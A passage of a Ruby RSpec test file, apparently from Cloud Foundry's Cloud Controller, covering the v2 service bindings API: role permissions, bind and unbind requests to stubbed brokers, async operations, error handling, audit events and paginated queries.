app_guid: { type: 'string', required: true },
service_instance_guid: { type: 'string', required: true },
parameters: { type: 'hash', required: false },
name: { type: 'string', required: false },
})
end
it do
expect(ServiceBindingsController).to have_updatable_attributes({
app_guid: { type: 'string' },
service_instance_guid: { type: 'string' },
parameters: { type: 'hash', required: false },
name: { type: 'string', required: false },
})
end
end
let(:guid_pattern) { '[[:alnum:]-]+' }
let(:bind_status) { 200 }
let(:bind_body) { { credentials: credentials } }
let(:unbind_status) { 200 }
let(:unbind_body) { {} }
let(:last_operation_status) { 200 }
let(:last_operation_body) { { state: 'in progress' } }
let(:credentials) do
{ 'foo' => 'bar' }
end
def broker_url(broker)
broker.broker_url
end
def stub_requests(broker)
stub_request(:put, %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}}).
with(basic_auth: basic_auth(service_broker: broker)).
to_return(status: bind_status, body: bind_body.to_json)
stub_request(:delete, %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}}).
with(basic_auth: basic_auth(service_broker: broker)).
to_return(status: unbind_status, body: unbind_body.to_json)
stub_request(:get, %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}/last_operation}).
with(basic_auth: basic_auth(service_broker: broker)).
to_return(status: last_operation_status, body: last_operation_body.to_json)
end
def bind_url_regex(opts={})
service_binding = opts[:service_binding]
service_binding_guid = service_binding.try(:guid) || guid_pattern
service_instance = opts[:service_instance] || service_binding.try(:service_instance)
service_instance_guid = service_instance.try(:guid) || guid_pattern
broker = opts[:service_broker] || service_instance.service_plan.service.service_broker
%r{#{broker_url(broker)}/v2/service_instances/#{service_instance_guid}/service_bindings/#{service_binding_guid}}
end
describe 'Permissions' do
include_context 'permissions'
before do
@process_a = ProcessModelFactory.make(space: @space_a)
@service_instance_a = ManagedServiceInstance.make
@service_instance_a.add_shared_space(@space_a)
@obj_a = ServiceBinding.make(
app: @process_a.app,
service_instance: @service_instance_a
)
@process_b = ProcessModelFactory.make(space: @space_b)
@service_instance_b = ManagedServiceInstance.make(space: @space_b)
@obj_b = ServiceBinding.make(
app: @process_b.app,
service_instance: @service_instance_b
)
end
describe 'Org Level Permissions' do
describe 'OrgManager' do
let(:member_a) { @org_a_manager }
let(:member_b) { @org_b_manager }
include_examples 'permission enumeration', 'OrgManager',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 1
end
describe 'OrgUser' do
let(:member_a) { @org_a_member }
let(:member_b) { @org_b_member }
include_examples 'permission enumeration', 'OrgUser',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 0
end
describe 'BillingManager' do
let(:member_a) { @org_a_billing_manager }
let(:member_b) { @org_b_billing_manager }
include_examples 'permission enumeration', 'BillingManager',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 0
end
describe 'Auditor' do
let(:member_a) { @org_a_auditor }
let(:member_b) { @org_b_auditor }
include_examples 'permission enumeration', 'Auditor',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 0
end
end
describe 'App Space Level Permissions' do
describe 'SpaceManager' do
let(:member_a) { @space_a_manager }
let(:member_b) { @space_b_manager }
include_examples 'permission enumeration', 'SpaceManager',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 1
end
describe 'Developer' do
let(:member_a) { @space_a_developer }
let(:member_b) { @space_b_developer }
include_examples 'permission enumeration', 'Developer',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 1
end
describe 'SpaceAuditor' do
let(:member_a) { @space_a_auditor }
let(:member_b) { @space_b_auditor }
include_examples 'permission enumeration', 'SpaceAuditor',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 1
end
describe 'Developer in service instance space' do
let(:member_a) { make_developer_for_space(@service_instance_a.space) }
let(:member_b) { make_developer_for_space(@service_instance_b.space) }
include_examples 'permission enumeration', 'Developer in service instance space',
name: 'service binding',
path: '/v2/service_bindings',
enumerate: 0
end
end
end
describe 'POST /v2/service_bindings/' do
let(:space) { Space.make }
let(:developer) { make_developer_for_space(space) }
let(:process) { ProcessModelFactory.make(space: space) }
before { set_current_user(developer) }
shared_examples 'BindableServiceInstance' do
it 'binds a service instance to an app' do
post '/v2/service_bindings', req.to_json
expect(last_response).to have_status_code(201)
expect(last_response.headers).not_to include('X-Cf-Warnings')
binding = ServiceBinding.last
expect(binding.credentials).to eq(credentials)
end
context 'when given a valid name' do
before do
req[:name] = 'foo'
end
it 'binds a service instance with given name to an app' do
post '/v2/service_bindings', req.to_json
expect(last_response).to have_status_code(201)
expect(parsed_response['entity']).to include('name' => 'foo')
binding = ServiceBinding.last
expect(binding.name).to eq('foo')
end
end
it 'creates an audit event upon binding' do
email = '[email protected]'
set_current_user(developer, email: email)
post '/v2/service_bindings', req.to_json
service_binding = ServiceBinding.last
event = Event.first(type: 'audit.service_binding.create')
expect(event.actor_type).to eq('user')
expect(event.timestamp).to be
expect(event.actor).to eq(developer.guid)
expect(event.actor_name).to eq(email)
expect(event.actee).to eq(service_binding.guid)
expect(event.actee_type).to eq('service_binding')
expect(event.actee_name).to eq('')
expect(event.space_guid).to eq(space.guid)
expect(event.organization_guid).to eq(space.organization.guid)
expect(event.metadata).to include({
'request' => {
'type' => 'app',
'name' => nil,
'relationships' => {
'app' => {
'data' => { 'guid' => req[:app_guid] }
},
'service_instance' => {
'data' => { 'guid' => req[:service_instance_guid] }
},
},
'data' => 'PRIVATE DATA HIDDEN'
}
})
end
context 'when the app does not exist' do
it 'returns CF-AppNotFound' do
post '/v2/service_bindings', { app_guid: 'not-found', service_instance_guid: service_instance.guid }.to_json
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-AppNotFound')
expect(last_response.status).to eq(404)
end
context 'because it maps to non-web process' do
let(:process) { ProcessModelFactory.make(space: space, type: 'non-web') }
it 'returns CF-AppNotFound' do
post '/v2/service_bindings', { app_guid: process.guid, service_instance_guid: service_instance.guid }.to_json
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-AppNotFound')
expect(last_response.status).to eq(404)
end
end
end
context 'when the service instance does not exist' do
let(:req) do
{
app_guid: process.guid,
service_instance_guid: 'THISISWRONG'
}.to_json
end
it 'returns CF-ServiceInstanceNotFound error' do
post '/v2/service_bindings', req
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-ServiceInstanceNotFound')
expect(last_response.status).to eq(404)
end
end
context 'when the user is not a SpaceDeveloper' do
let(:req) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid
}.to_json
end
before do
set_current_user(User.make)
end
it 'returns 403' do
post '/v2/service_bindings', req
expect(last_response.status).to eq(403)
end
end
context 'when attempting to bind and the service binding already exists' do
before do
ServiceBinding.make(app: process.app, service_instance: service_instance)
end
it 'returns a ServiceBindingAppServiceTaken error' do
post '/v2/service_bindings', req.to_json
expect(last_response.status).to eq(400)
expect(decoded_response['error_code']).to eq('CF-ServiceBindingAppServiceTaken')
end
end
end
context 'for user provided instances' do
let(:service_instance) { UserProvidedServiceInstance.make(space: space, credentials: credentials) }
let(:req) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid
}
end
it_behaves_like 'BindableServiceInstance'
context 'when the client passes arbitrary params' do
let(:params_warning) { CGI.escape('Configuration parameters are ignored for bindings to user-provided service instances.') }
it 'does not use the arbitrary params and warns the user' do
body = req.merge(parameters: { 'key' => 'value' })
post '/v2/service_bindings', body.to_json
expect(last_response).to have_status_code 201
expect(last_response.headers).to include('X-Cf-Warnings')
expect(last_response.headers['X-Cf-Warnings']).to include(params_warning)
end
end
end
context 'for managed instances' do
let(:broker) { service_instance.service.service_broker }
let(:service) { Service.make(bindings_retrievable: false) }
let(:service_plan) { ServicePlan.make(service: service) }
let(:service_instance) { ManagedServiceInstance.make(space: space, service_plan: service_plan) }
let(:req) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid
}
end
before do
stub_requests(broker)
end
it_behaves_like 'BindableServiceInstance'
context 'when the app and service instance are in the same space' do
it 'sends a bind request to the broker' do
post '/v2/service_bindings', req.to_json
expect(last_response).to have_status_code(201)
binding_endpoint = %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}}
expected_body = {
service_id: service_instance.service.broker_provided_id,
plan_id: service_instance.service_plan.broker_provided_id,
app_guid: process.guid,
bind_resource: { app_guid: process.guid, space_guid: process.space.guid },
context: {
platform: 'cloudfoundry',
organization_guid: service_instance.organization.guid,
space_guid: service_instance.space.guid
}
}
expect(service_instance.space.guid).to eq(process.space.guid)
expect(a_request(:put, binding_endpoint).with(body: expected_body)).to have_been_made
end
end
describe 'asynchronous binding creation' do
context 'when accepts_incomplete is true' do
let(:bind_body) { {} }
before do
post '/v2/service_bindings?accepts_incomplete=true', req.to_json
end
context 'when bindings_retrievable is true' do
let(:service) { Service.make(bindings_retrievable: true) }
context 'and the broker returns asynchronously' do
let(:bind_status) { 202 }
it 'returns a 202 status code' do
expect(last_response).to have_status_code(202)
end
it 'saves the binding in the model' do
binding = ServiceBinding.last
expect(binding.last_operation.state).to eql('in progress')
end
it 'returns an in progress service binding response' do
hash_body = JSON.parse(last_response.body)
expect(hash_body['entity']['last_operation']['type']).to eq('create')
expect(hash_body['entity']['last_operation']['state']).to eq('in progress')
end
it 'returns a location header' do
expect(last_response.headers['Location']).to match(%r{^/v2/service_bindings/[[:alnum:]-]+$})
end
context 'when the service broker returns operation state' do
let(:bind_body) { { operation: '123' } }
it 'persists the operation state' do
binding = ServiceBinding.last
expect(binding.last_operation.broker_provided_operation).to eq('123')
end
end
context 'when bindings_retrievable is false' do
let(:service) { Service.make(bindings_retrievable: false) }
it 'should throw invalid service binding error' do
expect(last_response).to have_status_code(400)
expect(decoded_response['error_code']).to eq 'CF-ServiceBindingInvalid'
expect(decoded_response['description']).to match('Could not create asynchronous binding')
end
end
context 'when attempting to bind and the service binding already exists' do
it 'returns a ServiceBindingAppServiceTaken error' do
post '/v2/service_bindings?accepts_incomplete=true', req.to_json
expect(last_response.status).to eq(400)
expect(decoded_response['error_code']).to eq('CF-ServiceBindingAppServiceTaken')
expect(decoded_response['description']).to eq('The app is already bound to the service.')
end
end
end
context 'and the broker is synchronous' do
let(:bind_status) { 201 }
it 'returns a 201 status code' do
expect(last_response).to have_status_code(201)
end
end
end
end
context 'when accepts_incomplete is false' do
it 'returns a 201 status code' do
post '/v2/service_bindings?accepts_incomplete=false', req.to_json
expect(last_response).to have_status_code(201)
end
context 'and the broker only supports asynchronous request' do
let(:bind_status) { 422 }
let(:bind_body) { { error: 'AsyncRequired' } }
it 'returns a 400 status code' do
post '/v2/service_bindings?accepts_incomplete=false', req.to_json
expect(last_response).to have_status_code(400)
expect(decoded_response['error_code']).to eq 'CF-AsyncRequired'
end
end
end
context 'when accepts_incomplete is not set' do
context 'and the broker only supports asynchronous request' do
let(:bind_status) { 422 }
let(:bind_body) { { error: 'AsyncRequired' } }
it 'returns a 400 status code' do
post '/v2/service_bindings', req.to_json
expect(last_response).to have_status_code(400)
expect(decoded_response['error_code']).to eq 'CF-AsyncRequired'
end
end
end
context 'when accepts_incomplete is not a bool' do
it 'returns a 400 status code' do
post '/v2/service_bindings?accepts_incomplete=not_a_bool', req.to_json
expect(last_response).to have_status_code(400)
expect(a_request(:put, %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}})).
to_not have_been_made
end
end
end
context 'when the app is in a space that the service instance is shared to' do
let(:shared_from_space) { Space.make }
let(:service_instance) { ManagedServiceInstance.make(space: shared_from_space) }
before do
service_instance.add_shared_space(space)
end
it 'sends a bind request to the broker' do
post '/v2/service_bindings', req.to_json
expect(last_response).to have_status_code(201)
binding_endpoint = %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}}
expected_body = {
service_id: service_instance.service.broker_provided_id,
plan_id: service_instance.service_plan.broker_provided_id,
app_guid: process.guid,
bind_resource: { app_guid: process.guid, space_guid: process.space.guid },
context: {
platform: 'cloudfoundry',
organization_guid: service_instance.organization.guid,
space_guid: service_instance.space.guid
}
}
expect(service_instance.space.guid).not_to eq(process.space.guid)
expect(a_request(:put, binding_endpoint).with(body: expected_body)).to have_been_made
end
end
context 'when the client provides arbitrary parameters' do
let(:parameters) { { 'key' => 'value' } }
let(:req) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid,
parameters: parameters
}
end
it 'sends the parameters in the request to the broker' do
post '/v2/service_bindings', req.to_json
expect(last_response).to have_status_code(201)
expect(last_response.headers).not_to include('X-Cf-Warnings')
binding_endpoint = %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}}
expect(a_request(:put, binding_endpoint).with(body: hash_including(parameters: parameters))).to have_been_made
end
end
shared_examples 'UnbindableServiceInstance' do
it 'raises UnbindableService error' do
post '/v2/service_bindings', req.to_json
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-UnbindableService')
expect(last_response).to have_status_code(400)
end
it 'does not send a bind request to broker' do
post '/v2/service_bindings', req.to_json
expect(a_request(:put, bind_url_regex(service_instance: service_instance))).to_not have_been_made
end
end
context 'when it is an instance of an unbindable service' do
before do
service_instance.service.bindable = false
service_instance.service.save
end
it_behaves_like 'UnbindableServiceInstance'
end
context 'when it is an instance of an unbindable service plan' do
before do
service_instance.service_plan.bindable = false
service_instance.service_plan.save
end
it_behaves_like 'UnbindableServiceInstance'
end
context 'when the instance operation is in progress' do
let(:request_body) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid
}.to_json
end
before do
service_instance.save_with_new_operation({}, { type: 'delete', state: 'in progress' })
end
it 'does not tell the service broker to bind the service' do
post '/v2/service_bindings', request_body
expect(a_request(:put, %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}})).
to_not have_been_made
end
it 'does not trigger orphan mitigation' do
post '/v2/service_bindings', request_body
orphan_mitigation_job = Delayed::Job.first
expect(orphan_mitigation_job).to be_nil
expect(a_request(:delete, bind_url_regex(service_instance: service_instance))).not_to have_been_made
end
it 'should show an error message for create bind operation' do
post '/v2/service_bindings', request_body
expect(last_response).to have_status_code 409
expect(last_response.body).to match 'AsyncServiceInstanceOperationInProgress'
end
end
context 'when volume_mount is required and volume_services_enabled is disabled' do
let(:service_instance) { ManagedServiceInstance.make(:volume_mount, space: space) }
before do
TestConfig.config[:volume_services_enabled] = false
end
it 'returns CF-VolumeMountServiceDisabled' do
post '/v2/service_bindings', req.to_json
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-VolumeMountServiceDisabled')
expect(last_response.status).to eq(403)
end
end
describe 'locking the instance as a result of binding' do
context 'when the instance has a previous operation' do
before do
service_instance.service_instance_operation = ServiceInstanceOperation.make(type: 'create', state: 'succeeded')
service_instance.save
end
it 'reverts the last_operation of the instance to its previous operation' do
req = {
app_guid: process.guid,
service_instance_guid: service_instance.guid
}.to_json
post '/v2/service_bindings', req
expect(service_instance.last_operation.state).to eq 'succeeded'
expect(service_instance.last_operation.type).to eq 'create'
end
end
context 'when the instance does not have a last_operation' do
before do
service_instance.service_instance_operation = nil
service_instance.save
end
it 'does not save a last_operation' do
req = {
app_guid: process.guid,
service_instance_guid: service_instance.guid
}.to_json
post '/v2/service_bindings', req
expect(service_instance.refresh.last_operation).to be_nil
end
end
end
describe 'binding errors' do
subject(:make_request) do
req = {
app_guid: process.guid,
service_instance_guid: service_instance.guid
}.to_json
post '/v2/service_bindings', req
end
context 'when attempting to bind and the service binding already exists' do
let(:req) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid
}.to_json
end
before do
ServiceBinding.make(app: process.app, service_instance: service_instance)
end
it 'does not send a bind request to broker' do
make_request
expect(a_request(:put, bind_url_regex(service_instance: service_instance))).to_not have_been_made
end
end
context 'when the v2 broker returns a 409' do
let(:bind_status) { 409 }
let(:bind_body) { {} }
it 'returns a 409' do
make_request
expect(last_response).to have_status_code 409
end
it 'returns a ServiceBrokerConflict error' do
make_request
expect(decoded_response['error_code']).to eq 'CF-ServiceBrokerConflict'
end
end
context 'when the v2 broker returns any other error' do
let(:bind_status) { 500 }
let(:bind_body) { { description: 'ERROR MESSAGE HERE' } }
it 'passes through the error message' do
make_request
expect(last_response).to have_status_code 502
expect(decoded_response['description']).to match /ERROR MESSAGE HERE/
expect(service_instance.refresh.last_operation).to be_nil
end
context 'when the instance has a last_operation' do
before do
service_instance.service_instance_operation = ServiceInstanceOperation.make(type: 'create', state: 'succeeded')
end
it 'rolls back the last_operation of the service instance' do
make_request
expect(service_instance.refresh.last_operation.state).to eq 'succeeded'
expect(service_instance.refresh.last_operation.type).to eq 'create'
end
end
end
context 'when the broker returns a syslog_drain_url and the service does not require one' do
let(:bind_body) { { 'syslog_drain_url' => 'http://syslog.com/drain' } }
it 'returns ServiceBrokerInvalidSyslogDrainUrl error to the user' do
make_request
expect(last_response).to have_status_code 502
expect(decoded_response['error_code']).to eq 'CF-ServiceBrokerInvalidSyslogDrainUrl'
end
it 'triggers orphan mitigation' do
make_request
expect(last_response).to have_status_code 502
orphan_mitigation_job = Delayed::Job.first
expect(orphan_mitigation_job).not_to be_nil
expect(orphan_mitigation_job).to be_a_fully_wrapped_job_of Jobs::Services::DeleteOrphanedBinding
end
end
context 'when the broker returns a volume_mounts and the service does not require one' do
let(:bind_body) { { 'volume_mounts' => [{ 'thing': 'other thing' }] } }
it 'returns CF-VolumeMountServiceDisabled' do
make_request
expect(last_response).to have_status_code 502
expect(decoded_response['error_code']).to eq 'CF-ServiceBrokerInvalidVolumeMounts'
post '/v2/service_bindings', req.to_json
end
it 'triggers orphan mitigation' do
make_request
expect(last_response).to have_status_code 502
orphan_mitigation_job = Delayed::Job.first
expect(orphan_mitigation_job).not_to be_nil
expect(orphan_mitigation_job).to be_a_fully_wrapped_job_of Jobs::Services::DeleteOrphanedBinding
end
end
end
end
end
describe 'DELETE /v2/service_bindings/:service_binding_guid' do
let(:service_binding) { ServiceBinding.make(service_instance: service_instance, app: process.app) }
let(:space) { Space.make }
let(:developer) { make_developer_for_space(space) }
let(:process) { ProcessModelFactory.make(space: space) }
before do
set_current_user(developer)
end
shared_examples 'BindableServiceInstance' do
it 'returns an empty response body' do
delete "/v2/service_bindings/#{service_binding.guid}"
expect(last_response).to have_status_code 204
expect(last_response.body).to be_empty
end
it 'unbinds a service instance from an app' do
delete "/v2/service_bindings/#{service_binding.guid}"
expect(ServiceBinding.find(guid: service_binding.guid)).to be_nil
end
it 'records an audit event after the binding has been deleted' do
email = '[email protected]'
space = service_binding.service_instance.space
set_current_user(developer, email: email)
delete "/v2/service_bindings/#{service_binding.guid}"
event = Event.first(type: 'audit.service_binding.delete')
expect(event.actor_type).to eq('user')
expect(event.timestamp).to be
expect(event.actor).to eq(developer.guid)
expect(event.actor_name).to eq(email)
expect(event.actee).to eq(service_binding.guid)
expect(event.actee_type).to eq('service_binding')
expect(event.actee_name).to eq('')
expect(event.space_guid).to eq(space.guid)
expect(event.organization_guid).to eq(space.organization.guid)
expect(event.metadata).to include({})
end
context 'when the user does not belong to the space' do
it 'returns a 403' do
set_current_user(User.make)
delete "/v2/service_bindings/#{service_binding.guid}"
expect(last_response).to have_status_code(403)
end
end
context 'when the service binding does not exist' do
it 'returns 404' do
delete '/v2/service_bindings/not-found'
expect(last_response).to have_status_code 404
end
end
end
context 'for user provided instances' do
let(:service_instance) { UserProvidedServiceInstance.make(space: space, credentials: credentials) }
let(:req) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid
}
end
it_behaves_like 'BindableServiceInstance'
end
context 'for managed instances' do
let(:broker) { service_instance.service.service_broker }
let(:service_instance) { ManagedServiceInstance.make(space: space) }
let(:req) do
{
app_guid: process.guid,
service_instance_guid: service_instance.guid
}
end
before do
stub_requests(service_binding.service_instance.service.service_broker)
end
it_behaves_like 'BindableServiceInstance'
it 'sends an unbind request to the broker' do
delete "/v2/service_bindings/#{service_binding.guid}"
expect(a_request(:delete, bind_url_regex(service_binding: service_binding))).to have_been_made
end
describe 'locking the service instance of the binding' do
context 'when the instance does not have a last_operation' do
before do
service_binding.service_instance.service_instance_operation = nil
service_binding.service_instance.save
end
it 'does not save a last_operation' do
service_instance = service_binding.service_instance
delete "/v2/service_bindings/#{service_binding.guid}"
expect(service_instance.refresh.last_operation).to be_nil
end
context 'when ?async=true' do
it 'does not save a last_operation' do
service_instance = service_binding.service_instance
delete "/v2/service_bindings/#{service_binding.guid}?async=true"
expect(service_binding).not_to be_nil
expect(Delayed::Job.first).to be_a_fully_wrapped_job_of Jobs::DeleteActionJob
expect(service_instance.refresh.last_operation).to be_nil
end
end
end
context 'when the instance has a last_operation' do
before do
service_binding.service_instance.service_instance_operation = ServiceInstanceOperation.make(type: 'create', state: 'succeeded')
service_binding.service_instance.save
end
it 'reverts to the previous last_operation' do
service_instance = service_binding.service_instance
delete "/v2/service_bindings/#{service_binding.guid}"
expect(service_instance.refresh.last_operation.state).to eq 'succeeded'
expect(service_instance.refresh.last_operation.type).to eq 'create'
end
context 'when ?async=true' do
it 'reverts to the previous last_operation' do
service_instance = service_binding.service_instance
delete "/v2/service_bindings/#{service_binding.guid}?async=true"
expect(service_binding).not_to be_nil
expect(Delayed::Job.first).to be_a_fully_wrapped_job_of Jobs::DeleteActionJob
expect(service_instance.refresh.last_operation.state).to eq 'succeeded'
expect(service_instance.refresh.last_operation.type).to eq 'create'
end
end
end
end
context 'when a binding has operation in progress' do
let(:last_operation) { ServiceBindingOperation.make(state: 'in progress') }
before do
service_binding.service_binding_operation = last_operation
service_binding.save
end
it 'should not be able to delete binding' do
delete "/v2/service_bindings/#{service_binding.guid}"
expect(last_response).to have_status_code 409
expect(last_response.body).to match 'AsyncServiceBindingOperationInProgress'
expect(ServiceBinding.find(guid: service_binding.guid)).not_to be_nil
end
end
context 'with ?async=true' do
it 'returns a job id' do
delete "/v2/service_bindings/#{service_binding.guid}?async=true"
expect(last_response.status).to eq 202
expect(decoded_response['entity']['guid']).to be
expect(decoded_response['entity']['status']).to eq 'queued'
end
it "passes the invoking user's identity to the service broker client" do
delete "/v2/service_bindings/#{service_binding.guid}?async=true"
execute_all_jobs(expected_successes: 1, expected_failures: 0)
expect(a_request(:delete, bind_url_regex(service_binding: service_binding)).with { |request|
request.headers['X-Broker-Api-Originating-Identity'].match(/^cloudfoundry [a-zA-Z0-9]+={0,3}$/)
}).to have_been_made
end
end
context 'when the instance operation is in progress' do
let(:last_operation) { ServiceInstanceOperation.make(state: 'in progress') }
before do
service_instance.service_instance_operation = last_operation
service_instance.save
end
it 'should show an error message for unbind operation' do
delete "/v2/service_bindings/#{service_binding.guid}"
expect(last_response).to have_status_code 409
expect(last_response.body).to match 'AsyncServiceInstanceOperationInProgress'
expect(ServiceBinding.find(guid: service_binding.guid)).not_to be_nil
end
end
end
end
describe 'GET', '/v2/service_bindings?inline-relations-depth=1', regression: true do
let(:space) { Space.make }
let(:managed_service_instance) { ManagedServiceInstance.make(space: space) }
let(:user_provided_service_instance) { UserProvidedServiceInstance.make(space: space) }
let(:process) { ProcessModelFactory.make(space: space) }
let(:developer) { make_developer_for_space(space) }
it 'returns both user provided and managed service instances' do
set_current_user(developer)
ServiceBinding.make(service_instance: managed_service_instance, app: process.app)
ServiceBinding.make(service_instance: user_provided_service_instance, app: process.app, name: 'service-binding-name')
get '/v2/service_bindings?inline-relations-depth=1'
expect(last_response.status).to eql(200)
service_bindings = decoded_response['resources']
service_instance_guids = service_bindings.map do |res|
res['entity']['service_instance']['metadata']['guid']
end
expect(service_instance_guids).to match_array([
managed_service_instance.guid,
user_provided_service_instance.guid,
])
service_instance_names = service_bindings.map do |res|
res['entity']['name']
end
expect(service_instance_names).to match_array([
nil,
'service-binding-name',
])
end
context 'when service-bindings have names' do
let(:process1) { ProcessModelFactory.make(space: space, name: 'process1') }
let(:process2) { ProcessModelFactory.make(space: space, name: 'process2') }
let(:process3) { ProcessModelFactory.make(space: space, name: 'process3') }
it 'can query service-bindings by name' do
set_current_user(developer)
ServiceBinding.make(service_instance: managed_service_instance, app: process1.app, name: 'potato')
ServiceBinding.make(service_instance: managed_service_instance, app: process2.app, name: '3-ring')
ServiceBinding.make(service_instance: managed_service_instance, app: process3.app, name: 'potato')
get '/v2/service_bindings?inline-relations-depth=1&q=name:3-ring'
expect(last_response.status).to eq(200), last_response.body
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(1)
entity = service_bindings[0]['entity']
expect(entity['app_guid']).to eq(process2.app.guid)
expect(entity['service_instance_guid']).to eq(managed_service_instance.guid)
expect(entity['name']).to eq('3-ring')
get '/v2/service_bindings?q=name:potato'
expect(last_response.status).to eq(200), last_response.body
expect(decoded_response['prev_url']).to be_nil
expect(decoded_response['next_url']).to be_nil
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(2)
expect(service_bindings.map { |x| x['entity']['app_guid'] }).to match_array([process1.app.guid, process3.app.guid])
expect(service_bindings.map { |x| x['entity']['service_instance_guid'] }).to match_array([managed_service_instance.guid, managed_service_instance.guid])
expect(service_bindings.map { |x| x['entity']['name'] }).to match_array(['potato', 'potato'])
end
context 'when there are many service-bindings per service-instance' do
let(:processes) { 8.times.to_a.map { |i| ProcessModelFactory.make(space: space, name: "process#{i}") } }
before do
set_current_user(developer)
6.times { |i| ServiceBinding.make(service_instance: managed_service_instance, app: processes[i].app, name: 'potato') }
ServiceBinding.make(service_instance: managed_service_instance, app: processes[6].app, name: '3-ring')
ServiceBinding.make(service_instance: managed_service_instance, app: processes[7].app, name: '3-ring')
end
it 'can set the next_url and prev_url links' do
get '/v2/service_bindings?results-per-page=2&page=1&q=name:potato'
expect(last_response.status).to eq(200), last_response.body
expect(decoded_response['prev_url']).to be(nil)
next_url = decoded_response['next_url']
expect(next_url).to match(%r{^/v2/service_bindings\?(?=.*page=2).*q=name:potato})
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(2)
entity = service_bindings[0]['entity']
expect(entity['app_guid']).to eq(processes[0].app.guid)
expect(entity['name']).to eq('potato')
entity = service_bindings[1]['entity']
expect(entity['app_guid']).to eq(processes[1].app.guid)
expect(entity['name']).to eq('potato')
get next_url
expect(last_response.status).to eq(200), last_response.body
expect(decoded_response['prev_url']).to match(/(?=.*?page=1\b).*q=name:potato/)
next_url = decoded_response['next_url']
expect(next_url).to match(/(?=.*?page=3).*q=name:potato/)
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(2)
entity = service_bindings[0]['entity']
expect(entity['app_guid']).to eq(processes[2].app.guid)
expect(entity['name']).to eq('potato')
entity = service_bindings[1]['entity']
expect(entity['app_guid']).to eq(processes[3].app.guid)
expect(entity['name']).to eq('potato')
get next_url
expect(last_response.status).to eq(200), last_response.body
expect(decoded_response['prev_url']).to match(/(?=.*?page=2\b).*q=name:potato/)
expect(decoded_response['next_url']).to be_nil
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(2)
entity = service_bindings[0]['entity']
expect(entity['app_guid']).to eq(processes[4].app.guid)
expect(entity['name']).to eq('potato')
entity = service_bindings[1]['entity']
expect(entity['app_guid']).to eq(processes[5].app.guid)
expect(entity['name']).to eq('potato')
get '/v2/service_bindings?results-per-page=2&page=1&q=name:3-ring'
expect(last_response.status).to eq(200), last_response.body
expect(decoded_response['prev_url']).to be_nil
expect(decoded_response['next_url']).to be_nil
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(2)
entity = service_bindings[0]['entity']
expect(entity['app_guid']).to eq(processes[6].app.guid)
expect(entity['name']).to eq('3-ring')
entity = service_bindings[1]['entity']
expect(entity['app_guid']).to eq(processes[7].app.guid)
expect(entity['name']).to eq('3-ring')
end
end
end
context 'when there are service-instances in multiple spaces' do
let(:space1) { Space.make }
let(:process1) { ProcessModelFactory.make(space: space1) }
let(:developer1) { make_developer_for_space(space1) }
let(:si1) { ManagedServiceInstance.make(space: space1) }
let(:space2) { Space.make }
let(:process2) { ProcessModelFactory.make(space: space2) }
let(:developer2) { make_developer_for_space(space2) }
let(:si2) { ManagedServiceInstance.make(space: space2) }
context 'when developer in one space tries to bind a service-instance from another space' do
before do
set_current_user(developer1)
end
it 'raises a SpaceMismatch error' do
req = {
app_guid: process1.guid,
service_instance_guid: si2.guid,
name: '3-ring',
}
post '/v2/service_bindings', req.to_json
expect(last_response.status).to eq(400)
expect(decoded_response['description']).to eq('VCAP::CloudController::ServiceBindingCreate::SpaceMismatch')
expect(decoded_response['error_code']).to eq('CF-ServiceBindingAppServiceTaken')
end
end
context 'when both developers bind some service-instances' do
before do
ServiceBinding.make(service_instance: si1, app: process1.app, name: 'binding')
ServiceBinding.make(service_instance: si2, app: process2.app, name: 'binding')
end
it 'developer1 can see only bindings in space1' do
set_current_user(developer1)
get '/v2/service_bindings?q=name:binding'
expect(last_response.status).to eq(200), last_response.body
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(1)
entity = service_bindings[0]['entity']
expect(entity['app_guid']).to eq(process1.app.guid)
expect(entity['name']).to eq('binding')
expect(entity['service_instance_guid']).to eq(si1.guid)
end
it 'developer2 can see only bindings in space2' do
set_current_user(developer2)
get '/v2/service_bindings?q=name:binding'
expect(last_response.status).to eq(200), last_response.body
service_bindings = decoded_response['resources']
expect(service_bindings.size).to eq(1)
entity = service_bindings[0]['entity']
expect(entity['app_guid']).to eq(process2.app.guid)
expect(entity['name']).to eq('binding')
expect(entity['service_instance_guid']).to eq(si2.guid)
end
end
end
context 'when the binding has last operation' do
before do
binding = ServiceBinding.make(service_instance: managed_service_instance, app: process.app)
binding.service_binding_operation = ServiceBindingOperation.make(state: 'in progress', type: 'create')
